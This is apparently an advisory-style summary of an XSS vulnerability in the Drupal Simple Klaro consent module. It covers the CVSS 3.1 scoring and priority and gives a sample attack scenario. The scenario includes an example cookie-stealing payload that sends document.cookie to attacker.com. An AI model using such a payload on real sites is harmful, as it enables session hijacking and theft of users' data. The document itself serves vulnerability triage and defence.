Simple Klaro EUVD-2025-18291

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L) indicates: Network-accessible attack with low complexity, no privileges required, but user interaction needed (UI:R), with changed scope affecting other systems. The high confidentiality impact (C:H) combined with integrity/availability impacts supports the 8.8 score. However, real-world risk requires context: (1) Exploitation requires convincing users to click a malicious link, reducing automated exploitation probability; (2) Without KEV status confirmation or public POC, this may represent discovered-but-not-yet-exploited vulnerability; (3) EPSS score unavailable from provided data, but XSS vulnerabilities in consent/cookie modules typically score 60-75 percentile due to moderate attack friction; (4) Drupal sites running outdated Simple Klaro versions represent the at-risk population. This is a legitimate medium-to-high priority based on CVSS severity and XSS impact on confidentiality, but NOT a critical emergency without evidence of active exploitation or 0-day status. Organizations should prioritize patching within 30 days.

A malicious actor discovers that the Simple Klaro module's consent banner or configuration UI does not properly escape user input. The attacker crafts a malicious URL containing JavaScript payload in a parameter (e.g., ?consent_msg=<img src=x onerror='fetch("//attacker.com/steal?cookie="+document.cookie)'>). They distribute this link via phishing email or social media targeting users of a vulnerable Drupal site. When a victim clicks the link, the JavaScript executes in their browser context, stealing session cookies, auth tokens, or personally identifiable information displayed on the page. If the site stores user preferences server-side without sanitization, a Stored XSS variant could infect all visitors who load the Klaro consent banner. This is particularly dangerous on sites handling sensitive data (healthcare, finance, government portals) where consent transparency is legally required.